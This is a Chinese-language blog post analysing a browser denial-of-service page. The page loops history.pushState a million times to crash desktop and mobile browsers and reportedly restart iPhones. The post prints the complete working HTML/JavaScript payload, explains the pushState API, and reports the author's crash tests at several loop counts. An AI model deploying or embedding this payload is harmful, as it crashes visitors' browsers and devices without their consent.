javascript攻击iPhone或者其它高级浏览器设备

阅读数：1416 发布时间：2016-04-26 18:17:14

作者：gsh 标签： javascript ddos Ajax pjax pushState

这是一段著名的DDOS攻击代码

如果你是 PC 端用户，点开链接以后，电脑 CPU 内存极有可能一路狂飙直至浏览器崩溃卡死！如果你是移动端（安卓、iPhone）用户，点开链接以后你的浏览器会闪退！在微博、微信客户端点开链接同样会闪退。iPhone 用 Safari 打开之后链接之后，手机注销重启了！…

<html>
<body>
<script>
var total="";
for (var i=0;i<1000000;i++)
{
    total= total+i.toString ();
    history.pushState (0,0,total);
}
</script>
</body>
</html>

Ajax 与 Pjax

Ajax即“Asynchronous Javascript And XML”（异步JavaScript和XML），是一种用于创建快速动态网页的技术。通过在后台与服务器进行少量数据交换，Ajax可以使网页实现异步更新。这意味着可以在不重新加载整个网页的情况下，对网页的某部分进行更新无刷新操作。

但是，Ajax应用也会造成另外的问题，容易导致浏览器无法前进与后退，这是个很头疼的问题，开发人员必须增加工作量(比如通过一个隐藏的iframe，或者改变location.hash值等方法)来解决。

为了解决传统Ajax带来的问题，HTML5里引入了新的API：history.pushState，它和Ajax结合后，有个新的称呼是pjax。是一种基于Ajax+history.pushState的新技术，该技术可以无刷新改变页面的内容，并且可以改变页面的URL。pjax是Ajax+pushState的封装，同时支持本地存储、动画等多种功能。目前支持jquery、qwrap、kissy等多种版本。

HTML5.history.pushState

HTML5可以通过pushState和replaceState接口操作浏览器历史，并且改变当前页面的URL。

pushState是将指定的URL添加到浏览器历史里，存储当前历史记录点。replaceState是将指定的URL替换当前的URL。同时，这些方法会和window.onpostate事件一起工作。

history.pushState(data, title, url)：往历史记录堆栈顶部添加一条记录；data会在onpopstate事件触发时作为参数传递过去；title为页面标题，当前所有浏览器一般都会 忽略此参数；URL为页面地址，可选，缺省为当前页地址。具体细节：

state：对象是一个JavaScript状态对象，记录历史记录点的额外对象，可以为空。它关系到由pushState()方法创建出来的新的history实体。用以存储关于你所要插入到历史记录的条目的相关信息。

title：所有浏览器一般都会 忽略此参数，虽然它可能将来会被使用上。而现在最安全的使用方式是传一个空字符串，以防止将来的修改，或者可以传一个简短的标题来表示state。

URL：这个参数用来传递新的history实体的URL，新的URL必须和现有的URL同域，否则pushState()将抛出异常。这个参数是选填的，如果为空，则会被置为document当前的URL。

十二行代码分析

关键点在于针对total这个URL的循环：

history.pushState(0,0,total)；

不停的在修改URL，循环了1,000,000次，不停的向历史记录堆栈中新增记录，会导致CPU和内存占用率过高以及Firefox，Chrome，Safari浏览器崩溃，而且还能让iPhone重启。

分析结果

在XP虚拟机(i7单核3.4G、512内存) 亲自实测：

当上面那个循环次数为十万以上级别的时候，CPU，内存使用率瞬间100%，然后崩溃死机；
当上面那个循环次数缩小到10000左右的时候，CPU，内存使用率大概在20秒内逐渐升高至100%，然后崩溃死机；
当上面那个循环次数缩小到500左右的时候， CPU使用率逐渐升高到达100%后，再次瞬间恢复到稳定状态，内存使用从130M左右升高至230M左右，而打开的192.168.56.106/12.html这个页面后，地址栏里面的链接也变成了：192.168.56.106/0123456789101112131415161718192021……494495496497498499

可见，通过循环不停的向向历史记录堆栈中新增记录的同时，页面会刷新到跳转的新地址，就是循环累加的一个“伪地址”，当这个长度超限的时候，就会引起DOS了，攻击的效果和效率完全取决于循环的次数和目标的硬件配置。